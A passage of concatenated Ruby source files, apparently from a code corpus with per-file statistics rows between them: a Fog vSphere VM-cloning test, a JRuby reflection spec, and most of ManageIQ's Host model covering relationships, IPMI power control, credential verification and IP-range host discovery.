# history_show
end
end
| 21.418605 | 87 | 0.634093 |
87a6eea06039f65e2794b92d2ab3e140bdf3ceba | 2,517 | Shindo.tests('Fog::Compute[:vsphere] | vm_clone request', ['vsphere']) do
# require 'guid'
compute = Fog::Compute[:vsphere]
response = nil
response_linked = nil
template = 'rhel64'
datacenter = 'Solutions'
default_params = {
'datacenter' => datacenter,
'template_path' => template,
'resource_pool' => ['Solutionscluster', 'Resources']
}
tests('Standard Clone | The return value should') do
servers_size = compute.servers.size
response = compute.vm_clone(default_params.merge('name' => 'cloning_vm', 'wait' => true))
test('be a kind of Hash') { response.is_a? Hash }
%w[vm_ref new_vm task_ref].each do |key|
test("have a #{key} key") { response.key? key }
end
test('creates a new server') { compute.servers.size == servers_size + 1 }
test('new server name is set') { compute.get_virtual_machine(response['new_vm']['id'])['name'] == 'cloning_vm' }
end
tests('Standard Clone setting ram and cpu | The return value should') do
servers_size = compute.servers.size
response = compute.vm_clone(default_params.merge('name' => 'cloning_vm', 'memoryMB' => '8192', 'numCPUs' => '8', 'wait' => true))
test('be a kind of Hash') { response.is_a? Hash }
%w[vm_ref new_vm task_ref].each do |key|
test("have a #{key} key") { response.key? key }
end
test('creates a new server') { compute.servers.size == servers_size + 1 }
test('new server name is set') { compute.get_virtual_machine(response['new_vm']['id'])['name'] == 'cloning_vm' }
end
tests('Linked Clone | The return value should') do
servers_size = compute.servers.size
response = compute.vm_clone(default_params.merge('name' => 'cloning_vm_linked', 'wait' => 1, 'linked_clone' => true))
test('be a kind of Hash') { response.is_a? Hash }
%w[vm_ref new_vm task_ref].each do |key|
test("have a #{key} key") { response.key? key }
end
test('creates a new server') { compute.servers.size == servers_size + 1 }
test('new server name is set') { compute.get_virtual_machine(response['new_vm']['id'])['name'] == 'cloning_vm_linked' }
end
tests('When invalid input is presented') do
raises(ArgumentError, 'it should raise ArgumentError') { compute.vm_clone(foo: 1) }
raises(Fog::Vsphere::Compute::NotFound, 'it should raise Fog::Vsphere::Compute::NotFound when the UUID is not a string') do
pending # require 'guid'
compute.vm_clone('instance_uuid' => Guid.from_s(template), 'name' => 'jefftestfoo')
end
end
end
| 44.946429 | 133 | 0.663091 |
6a84f0c6f2087b0ae06a41cf8273aa7dce790ffb | 4,133 | require File.dirname(__FILE__) + "/../spec_helper"
java_import 'java_integration.fixtures.PrivateInstanceMethod'
java_import 'java_integration.fixtures.PrivateStaticMethod'
java_import 'java_integration.fixtures.ProtectedInstanceMethod'
java_import 'java_integration.fixtures.ProtectedStaticMethod'
java_import 'java_integration.fixtures.PackageInstanceMethod'
java_import 'java_integration.fixtures.PackageStaticMethod'
describe "A JavaMethod" do
describe "given a private Java class method" do
before(:each) do
@method = PrivateStaticMethod.java_class.declared_method :thePrivateMethod
@method.accessible = true
end
it "should provide a shortcut to invoke the method" do
expect { @method.invoke_static }.not_to raise_error
end
it "should allow invocation with a Ruby nil method" do
expect { @method.invoke nil }.not_to raise_error
end
it "should allow invocation with a Java null method" do
expect { @method.invoke nil.to_java }.not_to raise_error
end
end
describe "given a protected Java class method" do
before(:each) do
@method = ProtectedStaticMethod.java_class.declared_method :theProtectedMethod
@method.accessible = true
end
it "should provide a shortcut to invoke protected Java class methods" do
expect { @method.invoke_static }.not_to raise_error
end
it "should allow invocation with a Ruby nil method" do
expect { @method.invoke nil }.not_to raise_error
end
it "should allow invocation with a Java null method" do
expect { @method.invoke nil.to_java }.not_to raise_error
end
end
describe "given a package scope Java class method" do
before(:each) do
@method = PackageStaticMethod.java_class.declared_method :thePackageScopeMethod
@method.accessible = true
end
it "should provide a shortcut to invoke package scope Java class methods" do
expect { @method.invoke_static }.not_to raise_error
end
it "should allow invocation with a Ruby nil method" do
expect { @method.invoke nil }.not_to raise_error
end
it "should allow invocation with a Java null method" do
expect { @method.invoke nil.to_java }.not_to raise_error
end
end
it "should provide the ability to invoke private Java instance methods on a Ruby object" do
o = PrivateInstanceMethod.new
method = PrivateInstanceMethod.java_class.declared_method :thePrivateMethod
method.accessible = true
expect { method.invoke(o) }.not_to raise_error
end
it "should provide the ability to invoke protected Java instance methods on a Ruby object" do
o = ProtectedInstanceMethod.new
method = ProtectedInstanceMethod.java_class.declared_method :theProtectedMethod
method.accessible = true
expect { method.invoke(o) }.not_to raise_error
end
it "should provide the ability to invoke package scope Java instance methods on a Ruby object" do
o = PackageInstanceMethod.new
method = PackageInstanceMethod.java_class.declared_method :thePackageScopeMethod
method.accessible = true
expect { method.invoke(o) }.not_to raise_error
end
it "should provide the ability to invoke private Java instance methods on a JavaObject" do
o = PrivateInstanceMethod.new
method = PrivateInstanceMethod.java_class.declared_method :thePrivateMethod
method.accessible = true
expect { method.invoke(o.java_object) }.not_to raise_error
end
it "should provide the ability to invoke protected Java instance methods on a JavaObject" do
o = ProtectedInstanceMethod.new
method = ProtectedInstanceMethod.java_class.declared_method :theProtectedMethod
method.accessible = true
expect { method.invoke(o.java_object) }.not_to raise_error
end
it "should provide the ability to invoke package scope Java instance methods on a JavaObject" do
o = PackageInstanceMethod.new
method = PackageInstanceMethod.java_class.declared_method :thePackageScopeMethod
method.accessible = true
expect { method.invoke(o.java_object) }.not_to raise_error
end
end
| 37.572727 | 99 | 0.747399 |
bfe03bd671d8fc2f731fe955b312f4300d60329e | 58,695 | require 'ostruct'
require 'xml/xml_utils'
require 'cgi' # Used for URL encoding/decoding
require 'metadata/linux/LinuxUsers'
require 'metadata/linux/LinuxUtils'
require 'metadata/ScanProfile/HostScanProfiles'
class Host < ApplicationRecord
include SupportsFeatureMixin
include NewWithTypeStiMixin
include TenantIdentityMixin
include DeprecationMixin
include CustomActionsMixin
VENDOR_TYPES = {
# DB Displayed
"microsoft" => "Microsoft",
"redhat" => "RedHat",
"kubevirt" => "KubeVirt",
"vmware" => "VMware",
"openstack_infra" => "OpenStack Infrastructure",
"unknown" => "Unknown",
nil => "Unknown",
}.freeze
validates_presence_of :name
validates_inclusion_of :user_assigned_os, :in => ["linux_generic", "windows_generic", nil]
validates_inclusion_of :vmm_vendor, :in => VENDOR_TYPES.keys
belongs_to :ext_management_system, :foreign_key => "ems_id"
belongs_to :ems_cluster
has_one :operating_system, :dependent => :destroy
has_one :hardware, :dependent => :destroy
has_many :vms_and_templates, :dependent => :nullify
has_many :vms, :inverse_of => :host
has_many :miq_templates, :inverse_of => :host
has_many :host_storages, :dependent => :destroy
has_many :storages, :through => :host_storages
has_many :writable_accessible_host_storages, -> { writable_accessible }, :class_name => "HostStorage"
has_many :writable_accessible_storages, :through => :writable_accessible_host_storages, :source => :storage
has_many :host_virtual_switches, :class_name => "Switch", :dependent => :destroy, :inverse_of => :host
has_many :host_switches, :dependent => :destroy
has_many :switches, :through => :host_switches
has_many :lans, :through => :switches
has_many :host_virtual_lans, :through => :host_virtual_switches, :source => :lans
has_many :subnets, :through => :lans
has_many :networks, :through => :hardware
has_many :patches, :dependent => :destroy
has_many :system_services, :dependent => :destroy
has_many :host_services, :class_name => "SystemService", :foreign_key => "host_id", :inverse_of => :host
has_many :metrics, :as => :resource # Destroy will be handled by purger
has_many :metric_rollups, :as => :resource # Destroy will be handled by purger
has_many :vim_performance_states, :as => :resource # Destroy will be handled by purger
has_many :ems_events,
->(host) { where("host_id = ? OR dest_host_id = ?", host.id, host.id).order(:timestamp) },
:class_name => "EmsEvent"
has_many :ems_events_src, :class_name => "EmsEvent"
has_many :ems_events_dest, :class_name => "EmsEvent", :foreign_key => :dest_host_id
has_many :policy_events, -> { order("timestamp") }
has_many :guest_applications, :dependent => :destroy
has_many :miq_events, :as => :target, :dependent => :destroy
has_many :filesystems, :as => :resource, :dependent => :destroy
has_many :directories, -> { where(:rsc_type => 'dir') }, :as => :resource, :class_name => "Filesystem"
has_many :files, -> { where(:rsc_type => 'file') }, :as => :resource, :class_name => "Filesystem"
# Accounts - Users and Groups
has_many :accounts, :dependent => :destroy
has_many :users, -> { where(:accttype => 'user') }, :class_name => "Account", :foreign_key => "host_id"
has_many :groups, -> { where(:accttype => 'group') }, :class_name => "Account", :foreign_key => "host_id"
has_many :advanced_settings, :as => :resource, :dependent => :destroy
has_many :miq_alert_statuses, :dependent => :destroy, :as => :resource
has_many :host_service_groups, :dependent => :destroy
has_many :cloud_services, :dependent => :nullify
has_many :host_cloud_services, :class_name => "CloudService", :foreign_key => "host_id",
:inverse_of => :host
has_many :host_aggregate_hosts, :dependent => :destroy
has_many :host_aggregates, :through => :host_aggregate_hosts
has_many :host_hardwares, :class_name => 'Hardware', :source => :hardware, :dependent => :nullify
has_many :vm_hardwares, :class_name => 'Hardware', :through => :vms_and_templates, :source => :hardware
# Physical server reference
belongs_to :physical_server, :inverse_of => :host
serialize :settings, Hash
deprecate_attribute :address, :hostname
alias_attribute :state, :power_state
alias_attribute :to_s, :name
include ProviderObjectMixin
include EventMixin
include CustomAttributeMixin
has_many :ems_custom_attributes, -> { where(:source => 'VC') }, :as => :resource, :dependent => :destroy, :class_name => "CustomAttribute"
has_many :filesystems_custom_attributes, :through => :filesystems, :source => 'custom_attributes'
acts_as_miq_taggable
virtual_column :os_image_name, :type => :string, :uses => [:operating_system, :hardware]
virtual_column :platform, :type => :string, :uses => [:operating_system, :hardware]
virtual_delegate :v_owning_cluster, :to => "ems_cluster.name", :allow_nil => true, :default => "", :type => :string
virtual_column :v_owning_datacenter, :type => :string, :uses => :all_relationships
virtual_column :v_owning_folder, :type => :string, :uses => :all_relationships
virtual_delegate :cpu_total_cores, :cpu_cores_per_socket, :to => :hardware, :allow_nil => true, :default => 0, :type => :integer
virtual_delegate :num_cpu, :to => "hardware.cpu_sockets", :allow_nil => true, :default => 0, :type => :integer
virtual_delegate :total_vcpus, :to => "hardware.cpu_total_cores", :allow_nil => true, :default => 0, :type => :integer
virtual_delegate :ram_size, :to => "hardware.memory_mb", :allow_nil => true, :default => 0, :type => :integer
virtual_column :enabled_inbound_ports, :type => :numeric_set # The following are not set to use anything
virtual_column :enabled_outbound_ports, :type => :numeric_set # because get_ports ends up re-querying the
virtual_column :enabled_udp_inbound_ports, :type => :numeric_set # database anyway.
virtual_column :enabled_udp_outbound_ports, :type => :numeric_set
virtual_column :enabled_tcp_inbound_ports, :type => :numeric_set
virtual_column :enabled_tcp_outbound_ports, :type => :numeric_set
virtual_column :all_enabled_ports, :type => :numeric_set
virtual_column :service_names, :type => :string_set, :uses => :system_services
virtual_column :enabled_run_level_0_services, :type => :string_set, :uses => :host_services
virtual_column :enabled_run_level_1_services, :type => :string_set, :uses => :host_services
virtual_column :enabled_run_level_2_services, :type => :string_set, :uses => :host_services
virtual_column :enabled_run_level_3_services, :type => :string_set, :uses => :host_services
virtual_column :enabled_run_level_4_services, :type => :string_set, :uses => :host_services
virtual_column :enabled_run_level_5_services, :type => :string_set, :uses => :host_services
virtual_column :enabled_run_level_6_services, :type => :string_set, :uses => :host_services
virtual_delegate :annotation, :to => :hardware, :prefix => "v", :allow_nil => true, :type => :string
virtual_column :vmm_vendor_display, :type => :string
virtual_column :ipmi_enabled, :type => :boolean
virtual_column :archived, :type => :boolean
virtual_has_many :resource_pools, :uses => :all_relationships
virtual_has_many :miq_scsi_luns, :uses => {:hardware => {:storage_adapters => {:miq_scsi_targets => :miq_scsi_luns}}}
virtual_has_many :processes, :class_name => "OsProcess", :uses => {:operating_system => :processes}
virtual_has_many :event_logs, :uses => {:operating_system => :event_logs}
virtual_has_many :firewall_rules, :uses => {:operating_system => :firewall_rules}
virtual_total :v_total_storages, :host_storages
virtual_total :v_total_vms, :vms
virtual_total :v_total_miq_templates, :miq_templates
scope :active, -> { where.not(:ems_id => nil) }
scope :archived, -> { where(:ems_id => nil) }
alias_method :datastores, :storages # Used by web-services to return datastores as the property name
alias_method :parent_cluster, :ems_cluster
alias_method :owning_cluster, :ems_cluster
include RelationshipMixin
self.default_relationship_type = "ems_metadata"
include DriftStateMixin
virtual_delegate :last_scan_on, :to => "last_drift_state_timestamp_rec.timestamp", :allow_nil => true, :type => :datetime
delegate :queue_name_for_ems_operations, :to => :ext_management_system, :allow_nil => true
include UuidMixin
include MiqPolicyMixin
include AlertMixin
include Metric::CiMixin
include FilterableMixin
include AuthenticationMixin
include AsyncDeleteMixin
include ComplianceMixin
include AvailabilityMixin
include AggregationMixin
before_create :make_smart
after_save :process_events
supports :destroy
supports_not :quick_stats
supports :reset do
unsupported_reason_add(:reset, _("The Host is not configured for IPMI")) if ipmi_address.blank?
unsupported_reason_add(:reset, _("The Host has no IPMI credentials")) if authentication_type(:ipmi).nil?
if authentication_userid(:ipmi).blank? || authentication_password(:ipmi).blank?
unsupported_reason_add(:reset, _("The Host has invalid IPMI credentials"))
end
end
supports :refresh_ems
supports_not :refresh_advanced_settings
supports_not :refresh_firewall_rules
supports_not :refresh_logs
supports_not :refresh_network_interfaces
supports_not :set_node_maintenance
supports_not :smartstate_analysis
supports_not :unset_node_maintenance
def self.non_clustered
where(:ems_cluster_id => nil)
end
def self.clustered
where.not(:ems_cluster_id => nil)
end
def self.failover
where(:failover => true)
end
def authentication_check_role
'smartstate'
end
def my_zone
ems = ext_management_system
ems ? ems.my_zone : MiqServer.my_zone
end
def make_smart
self.smart = true
end
def process_events
return unless saved_change_to_ems_cluster_id?
raise_cluster_event(ems_cluster_id_before_last_save, "host_remove_from_cluster") if ems_cluster_id_before_last_save
raise_cluster_event(ems_cluster, "host_add_to_cluster") if ems_cluster_id
end # after_save
def raise_cluster_event(ems_cluster, event)
# accept ids or objects
ems_cluster = EmsCluster.find(ems_cluster) unless ems_cluster.kind_of?(EmsCluster)
inputs = {:ems_cluster => ems_cluster, :host => self}
begin
MiqEvent.raise_evm_event(self, event, inputs)
_log.info("Raised EVM Event: [#{event}, host: #{name}(#{id}), cluster: #{ems_cluster.name}(#{ems_cluster.id})]")
rescue => err
_log.warn("Error raising EVM Event: [#{event}, host: #{name}(#{id}), cluster: #{ems_cluster.name}(#{ems_cluster.id})], '#{err.message}'")
end
end
private :raise_cluster_event
def validate_reboot
validate_esx_host_connected_to_vc_with_power_state('on')
end
def validate_shutdown
validate_esx_host_connected_to_vc_with_power_state('on')
end
def validate_standby
validate_esx_host_connected_to_vc_with_power_state('on')
end
def validate_enter_maint_mode
validate_esx_host_connected_to_vc_with_power_state('on')
end
def validate_exit_maint_mode
validate_esx_host_connected_to_vc_with_power_state('maintenance')
end
def validate_enable_vmotion
validate_esx_host_connected_to_vc_with_power_state('on')
end
def validate_disable_vmotion
validate_esx_host_connected_to_vc_with_power_state('on')
end
def validate_vmotion_enabled?
validate_esx_host_connected_to_vc_with_power_state('on')
end
def validate_start
validate_ipmi('off')
end
def validate_stop
validate_ipmi('on')
end
def validate_ipmi(pstate = nil)
return {:available => false, :message => "The Host is not configured for IPMI"} if ipmi_address.blank?
return {:available => false, :message => "The Host has no IPMI credentials"} if authentication_type(:ipmi).nil?
return {:available => false, :message => "The Host has invalid IPMI credentials"} if authentication_userid(:ipmi).blank? || authentication_password(:ipmi).blank?
msg = validate_power_state(pstate)
return msg unless msg.nil?
{:available => true, :message => nil}
end
def validate_esx_host_connected_to_vc_with_power_state(pstate)
msg = validate_esx_host_connected_to_vc
return msg unless msg.nil?
msg = validate_power_state(pstate)
return msg unless msg.nil?
{:available => true, :message => nil}
end
def validate_power_state(pstate)
return nil if pstate.nil?
case pstate.class.name
when 'String'
return {:available => false, :message => "The Host is not powered '#{pstate}'"} unless power_state == pstate
when 'Array'
return {:available => false, :message => "The Host is not powered #{pstate.inspect}"} unless pstate.include?(power_state)
end
end
def validate_esx_host_connected_to_vc
# Check the basic require to interact with a VM.
return {:available => false, :message => "The Host is not connected to an active Provider"} unless has_active_ems?
return {:available => false, :message => "The Host is not VMware ESX"} unless is_vmware_esx?
nil
end
def validate_scan_and_check_compliance_queue
{:available => true, :message => nil}
end
def validate_check_compliance_queue
{:available => true, :message => nil}
end
def validate_reset
validate_unsupported("Reset is unavailable")
end
def validate_unsupported(message_prefix)
{:available => false, :message => "#{message_prefix} is not available for #{self.class.model_suffix} Host."}
end
def has_active_ems?
!!ext_management_system
end
def run_ipmi_command(verb)
require 'miq-ipmi'
_log.info("Invoking [#{verb}] for Host: [#{name}], IPMI Address: [#{ipmi_address}], IPMI Username: [#{authentication_userid(:ipmi)}]")
ipmi = MiqIPMI.new(ipmi_address, *auth_user_pwd(:ipmi))
ipmi.send(verb)
end
# event: the event sent to automate for policy resolution
# cb_method: the MiqQueue callback method along with the parameters that is called
# when automate process is done and the request is not prevented to proceed by policy
def check_policy_prevent(event, *cb_method)
MiqEvent.raise_evm_event(self, event, {:host => self}, {:miq_callback => prevent_callback_settings(*cb_method)})
end
def ipmi_power_on
run_ipmi_command(:power_on)
end
def ipmi_power_off
run_ipmi_command(:power_off)
end
def ipmi_power_reset
run_ipmi_command(:power_reset)
end
def reset
if supports?(:reset)
check_policy_prevent("request_host_reset", "ipmi_power_reset")
else
_log.warn("Cannot stop because <#{unsupported_reason(:reset)}>")
end
end
def start
if validate_start[:available] && power_state == 'standby' && respond_to?(:vim_power_up_from_standby)
check_policy_prevent("request_host_start", "vim_power_up_from_standby")
else
msg = validate_ipmi
if msg[:available]
pstate = run_ipmi_command(:power_state)
if pstate == 'off'
check_policy_prevent("request_host_start", "ipmi_power_on")
else
_log.warn("Non-Startable IPMI power state = <#{pstate.inspect}>")
end
else
_log.warn("Cannot start because <#{msg[:message]}>")
end
end
end
def stop
msg = validate_stop
if msg[:available]
check_policy_prevent("request_host_stop", "ipmi_power_off")
else
_log.warn("Cannot stop because <#{msg[:message]}>")
end
end
def standby
msg = validate_standby
if msg[:available]
if power_state == 'on' && respond_to?(:vim_power_down_to_standby)
check_policy_prevent("request_host_standby", "vim_power_down_to_standby")
else
_log.warn("Cannot go into standby mode from power state = <#{power_state.inspect}>")
end
else
_log.warn("Cannot go into standby mode because <#{msg[:message]}>")
end
end
def enter_maint_mode
msg = validate_enter_maint_mode
if msg[:available]
if power_state == 'on' && respond_to?(:vim_enter_maintenance_mode)
check_policy_prevent("request_host_enter_maintenance_mode", "vim_enter_maintenance_mode")
else
_log.warn("Cannot enter maintenance mode from power state = <#{power_state.inspect}>")
end
else
_log.warn("Cannot enter maintenance mode because <#{msg[:message]}>")
end
end
def exit_maint_mode
msg = validate_exit_maint_mode
if msg[:available] && respond_to?(:vim_exit_maintenance_mode)
check_policy_prevent("request_host_exit_maintenance_mode", "vim_exit_maintenance_mode")
else
_log.warn("Cannot exit maintenance mode because <#{msg[:message]}>")
end
end
def shutdown
msg = validate_shutdown
if msg[:available] && respond_to?(:vim_shutdown)
check_policy_prevent("request_host_shutdown", "vim_shutdown")
else
_log.warn("Cannot shutdown because <#{msg[:message]}>")
end
end
def reboot
msg = validate_reboot
if msg[:available] && respond_to?(:vim_reboot)
check_policy_prevent("request_host_reboot", "vim_reboot")
else
_log.warn("Cannot reboot because <#{msg[:message]}>")
end
end
def enable_vmotion
msg = validate_enable_vmotion
if msg[:available] && respond_to?(:vim_enable_vmotion)
check_policy_prevent("request_host_enable_vmotion", "vim_enable_vmotion")
else
_log.warn("Cannot enable vmotion because <#{msg[:message]}>")
end
end
def disable_vmotion
msg = validate_disable_vmotion
if msg[:available] && respond_to?(:vim_disable_vmotion)
check_policy_prevent("request_host_disable_vmotion", "vim_disable_vmotion")
else
_log.warn("Cannot disable vmotion because <#{msg[:message]}>")
end
end
def vmotion_enabled?
msg = validate_vmotion_enabled?
if msg[:available] && respond_to?(:vim_vmotion_enabled?)
vim_vmotion_enabled?
else
_log.warn("Cannot check if vmotion is enabled because <#{msg[:message]}>")
end
end
# Scan for VMs in a path defined in a repository
def add_elements(data)
if data.kind_of?(Hash) && data[:type] == :ems_events
_log.info("Adding HASH elements for Host id:[#{id}]-[#{name}] from [#{data[:type]}]")
add_ems_events(data)
end
rescue => err
_log.log_backtrace(err)
end
def ipaddresses
hardware.nil? ? [] : hardware.ipaddresses
end
def hostnames
hardware.nil? ? [] : hardware.hostnames
end
def mac_addresses
hardware.nil? ? [] : hardware.mac_addresses
end
def has_config_data?
!operating_system.nil? && !hardware.nil?
end
def os_image_name
OperatingSystem.image_name(self)
end
def platform
OperatingSystem.platform(self)
end
def product_name
operating_system.nil? ? "" : operating_system.product_name
end
def service_pack
operating_system.nil? ? "" : operating_system.service_pack
end
def arch
if vmm_product.to_s.include?('ESX')
return 'x86_64' if vmm_version.to_i >= 4
return 'x86'
end
return "unknown" unless hardware && !hardware.cpu_type.nil?
cpu = hardware.cpu_type.to_s.downcase
return cpu if cpu.include?('x86')
return "x86" if cpu.starts_with?("intel")
"unknown"
end
def platform_arch
ret = [os_image_name.split("_")[0], arch == "unknown" ? "x86" : arch]
ret.include?("unknown") ? nil : ret
end
def refreshable_status
if ext_management_system
return {:show => true, :enabled => true, :message => ""}
end
{:show => false, :enabled => false, :message => "Host not configured for refresh"}
end
def scannable_status
s = refreshable_status
return s if s[:show] || s[:enabled]
s[:show] = true
if has_credentials?(:ipmi) && ipmi_address.present?
s.merge!(:enabled => true, :message => "")
elsif ipmi_address.blank?
s.merge!(:enabled => false, :message => "Provide an IPMI Address")
elsif missing_credentials?(:ipmi)
s.merge!(:enabled => false, :message => "Provide credentials for IPMI")
end
s
end
def is_refreshable?
refreshable_status[:show]
end
def is_refreshable_now?
refreshable_status[:enabled]
end
def is_refreshable_now_error_message
refreshable_status[:message]
end
def self.refresh_ems(host_ids)
host_ids = [host_ids] unless host_ids.kind_of?(Array)
host_ids = host_ids.collect { |id| [Host, id] }
EmsRefresh.queue_refresh(host_ids)
end
def refresh_ems
unless ext_management_system
raise _("No Providers defined")
end
unless ext_management_system.has_credentials?
raise _("No Provider credentials defined")
end
unless ext_management_system.authentication_status_ok?
raise _("Provider failed last authentication check")
end
EmsRefresh.queue_refresh(self)
end
def is_scannable?
scannable_status[:show]
end
def is_scannable_now?
scannable_status[:enabled]
end
def is_scannable_now_error_message
scannable_status[:message]
end
def is_vmware?
vmm_vendor == 'vmware'
end
def is_vmware_esx?
is_vmware? && vmm_product.to_s.strip.downcase.starts_with?('esx')
end
def is_vmware_esxi?
product = vmm_product.to_s.strip.downcase
is_vmware? && product.starts_with?('esx') && product.ends_with?('i')
end
def vmm_vendor_display
VENDOR_TYPES[vmm_vendor]
end
#
# Relationship methods
#
def disconnect_inv
disconnect_ems
remove_all_parents(:of_type => ['EmsFolder', 'EmsCluster'])
end
def connect_ems(e)
return if ext_management_system == e
_log.debug("Connecting Host [#{name}] id [#{id}] to EMS [#{e.name}] id [#{e.id}]")
self.ext_management_system = e
save
end
def disconnect_ems(e = nil)
if e.nil? || ext_management_system == e
log_text = " from EMS [#{ext_management_system.name}] id [#{ext_management_system.id}]" unless ext_management_system.nil?
_log.info("Disconnecting Host [#{name}] id [#{id}]#{log_text}")
self.ext_management_system = nil
self.ems_cluster = nil
self.state = "unknown"
save
end
end
def connect_storage(s)
unless storages.include?(s)
_log.debug("Connecting Host [#{name}] id [#{id}] to Storage [#{s.name}] id [#{s.id}]")
storages << s
save
end
end
def disconnect_storage(s)
_log.info("Disconnecting Host [#{name}] id [#{id}] from Storage [#{s.name}] id [#{s.id}]")
storages.delete(s)
save
end
# Vm relationship methods
def direct_vms
# Look for only the Vms at the second depth (default RP + 1)
grandchildren(:of_type => 'Vm').sort_by { |r| r.name.downcase }
end
# Resource Pool relationship methods
def default_resource_pool
Relationship.resource(child_rels(:of_type => 'ResourcePool').first)
end
def resource_pools
Relationship.resources(grandchild_rels(:of_type => 'ResourcePool'))
end
def resource_pools_with_default
Relationship.resources(child_and_grandchild_rels(:of_type => 'ResourcePool'))
end
# All RPs under this Host and all child RPs
def all_resource_pools
# descendants typically returns the default_rp first but sporadically it
# will not due to a bug in the ancestry gem, this means we cannot simply
# drop the first value and need to check is_default
descendants(:of_type => 'ResourcePool').select { |r| !r.is_default }.sort_by { |r| r.name.downcase }
end
def all_resource_pools_with_default
descendants(:of_type => 'ResourcePool').sort_by { |r| r.name.downcase }
end
# Parent relationship methods
def parent_folder
p = parent
p if p.kind_of?(EmsFolder)
end
def owning_folder
detect_ancestor(:of_type => "EmsFolder") { |a| !a.kind_of?(Datacenter) && !%w(host vm).include?(a.name) }
end
def parent_datacenter
detect_ancestor(:of_type => "EmsFolder") { |a| a.kind_of?(Datacenter) }
end
alias_method :owning_datacenter, :parent_datacenter
def self.save_metadata(id, dataArray)
_log.info("for host [#{id}]")
host = Host.find_by(:id => id)
data, data_type = dataArray
data.replace(MIQEncode.decode(data)) if data_type.include?('b64,zlib')
doc = data_type.include?('yaml') ? YAML.load(data) : MiqXml.load(data)
host.add_elements(doc)
host.save!
_log.info("for host [#{id}] host saved")
rescue => err
_log.log_backtrace(err)
return false
end
def self.batch_update_authentication(host_ids, creds = {})
errors = []
return true if host_ids.blank?
host_ids.each do |id|
begin
host = Host.find(id)
host.update_authentication(creds)
rescue ActiveRecord::RecordNotFound => err
_log.warn("#{err.class.name}-#{err}")
next
rescue => err
errors << err.to_s
_log.error("#{err.class.name}-#{err}")
next
end
end
errors.empty? ? true : errors
end
def verify_credentials_task(userid, auth_type = nil, options = {})
task_opts = {
:action => "Verify Host Credentials",
:userid => userid
}
queue_opts = {
:args => [auth_type, options],
:class_name => self.class.name,
:instance_id => id,
:method_name => "verify_credentials?",
:queue_name => queue_name_for_ems_operations,
:role => "ems_operations",
:zone => my_zone
}
MiqTask.generic_action_with_callback(task_opts, queue_opts)
end
def verify_credentials?(*args)
# Prevent the connection details, including the password, from being leaked into the logs
# and MiqQueue by only returning true/false
!!verify_credentials(*args)
end
def verify_credentials(auth_type = nil, options = {})
raise MiqException::MiqHostError, _("No credentials defined") if missing_credentials?(auth_type)
if auth_type.to_s != 'ipmi' && os_image_name !~ /linux_*/
raise MiqException::MiqHostError, _("Logon to platform [%{os_name}] not supported") % {:os_name => os_image_name}
end
case auth_type.to_s
when 'remote' then verify_credentials_with_ssh(auth_type, options)
when 'ws' then verify_credentials_with_ws(auth_type)
when 'ipmi' then verify_credentials_with_ipmi(auth_type)
else
verify_credentials_with_ws(auth_type)
end
true
end
def verify_credentials_with_ws(_auth_type = nil, _options = {})
raise MiqException::MiqHostError, _("Web Services authentication is not supported for hosts of this type.")
end
def verify_credentials_with_ssh(auth_type = nil, options = {})
raise MiqException::MiqHostError, _("No credentials defined") if missing_credentials?(auth_type)
unless os_image_name =~ /linux_*/
raise MiqException::MiqHostError, _("Logon to platform [%{os_name}] not supported") % {:os_name => os_image_name}
end
begin
# connect_ssh logs address and user name(s) being used to make connection
_log.info("Verifying Host SSH credentials for [#{name}]")
connect_ssh(options) { |ssu| ssu.exec("uname -a") }
rescue Net::SSH::AuthenticationFailed => err
raise err, _("Login failed due to a bad username or password.")
rescue Net::SSH::HostKeyMismatch
raise # Re-raise the error so the UI can prompt the user to allow the keys to be reset.
rescue Exception => err
_log.warn(err.inspect)
raise MiqException::MiqHostError, _("Unexpected response returned from system, see log for details")
else
true
end
end
def verify_credentials_with_ipmi(auth_type = nil)
raise _("No credentials defined for IPMI") if missing_credentials?(auth_type)
require 'miq-ipmi'
address = ipmi_address
raise MiqException::MiqHostError, _("IPMI address is not configured for this Host") if address.blank?
if MiqIPMI.is_available?(address)
ipmi = MiqIPMI.new(address, *auth_user_pwd(auth_type))
unless ipmi.connected?
raise MiqException::MiqInvalidCredentialsError, _("Login failed due to a bad username or password.")
end
else
raise MiqException::MiqHostError, _("IPMI is not available on this Host")
end
end
def self.discoverByIpRange(starting, ending, options = {:ping => true})
options[:timeout] ||= 10
pattern = /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/
raise _("Starting address is malformed") if (starting =~ pattern).nil?
raise _("Ending address is malformed") if (ending =~ pattern).nil?
starting.split(".").each_index do |i|
if starting.split(".")[i].to_i > 255 || ending.split(".")[i].to_i > 255
raise _("IP address octets must be 0 to 255")
end
if starting.split(".")[i].to_i > ending.split(".")[i].to_i
raise _("Ending address must be greater than starting address")
end
end
network_id = starting.split(".")[0..2].join(".")
host_start = starting.split(".").last.to_i
host_end = ending.split(".").last.to_i
host_start.upto(host_end) do |h|
ipaddr = network_id + "." + h.to_s
unless Host.find_by(:ipaddress => ipaddr).nil? # skip discover for existing hosts
_log.info("ipaddress '#{ipaddr}' exists, skipping discovery")
next
end
discover_options = {:ipaddr => ipaddr,
:ping => options[:ping],
:timeout => options[:timeout],
:discover_types => options[:discover_types],
:credentials => options[:credentials]
}
# Add Windows domain credentials for HyperV WMI checks
default_zone = Zone.find_by(:name => 'default')
if !default_zone.nil? && default_zone.has_authentication_type?(:windows_domain)
discover_options[:windows_domain] = [default_zone.authentication_userid(:windows_domain), default_zone.authentication_password_encrypted(:windows_domain)]
end
MiqQueue.put(:class_name => "Host", :method_name => "discoverHost", :data => Marshal.dump(discover_options), :server_guid => MiqServer.my_guid)
end
end
def reset_discoverable_fields
raise _("Host Not Resettable - No IPMI Address") if ipmi_address.blank?
cred = authentication_type(:ipmi)
raise _("Host Not Resettable - No IPMI Credentials") if cred.nil?
run_callbacks(:destroy) { false } # Run only the before_destroy callbacks to destroy all associations
reload
attributes.each do |key, _value|
next if %w(id guid ipmi_address mac_address name created_on updated_on vmm_vendor).include?(key)
send("#{key}=", nil)
end
make_smart # before_create callback
self.settings = nil
self.name = "IPMI <#{ipmi_address}>"
self.vmm_vendor = 'unknown'
save!
authentications.create(cred.attributes) unless cred.nil?
self
end
def detect_discovered_os(ost)
# Determine os
os_type = nil
if is_vmware?
os_name = "VMware ESX Server"
elsif ost.os.include?(:linux)
os_name = "linux"
elsif ost.os.include?(:mswin)
os_name = "windows"
os_type = os_name
else
os_name = nil
end
return os_name, os_type
end
def detect_discovered_hypervisor(ost, ipaddr)
find_method = :find_by_ipaddress
if ost.hypervisor.include?(:hyperv)
